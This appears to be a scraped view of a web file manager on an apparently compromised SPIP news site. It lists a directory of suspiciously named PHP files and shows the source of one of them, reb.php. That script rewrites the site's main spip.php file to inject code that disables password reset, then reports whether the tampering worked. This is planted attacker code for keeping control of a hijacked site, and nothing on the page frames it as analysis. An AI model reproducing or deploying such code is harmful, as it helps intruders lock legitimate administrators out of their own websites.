WP File Manager
Current Path:
/
home
/
argothem
/
www
/
organecyberpresse
/
IMG
/
distant
/
xml
/
Name
Action
..
.ok
Edit
article
article.php
Edit
brnews.php
Edit
cache.txt
Edit
functions-php-lib.php
Edit
issus.php
Edit
loterias.php
Edit
newphp.php
Edit
newss.php
Edit
reb.php
Edit
sc.php
Edit
thai.php
Edit
tmp
upso.php
Edit
Editing: reb.php
<?php $spipFile = $_SERVER['DOCUMENT_ROOT'] . '/spip.php'; $content = file_get_contents($spipFile); $codeV = "<?php \n\$page = \$_POST['page']; if(\$page == 'spip_pass'){ die('La fonctionnalité de réinitialisation du mot de passe a été désactivée.'); }\n"; $pTag = "<?php"; $newContent = str_replace($pTag, $codeV,$content); if(is_writable($spipFile)) { file_put_contents($spipFile, $newContent); if(strpos(file_get_contents($spipFile),'spip_pass') !== false) { echo 'rebuildOK***111'; } else { echo 'rebuildNOT...000'; } } else { echo 'fileNOTwritable-aaa'; } ?>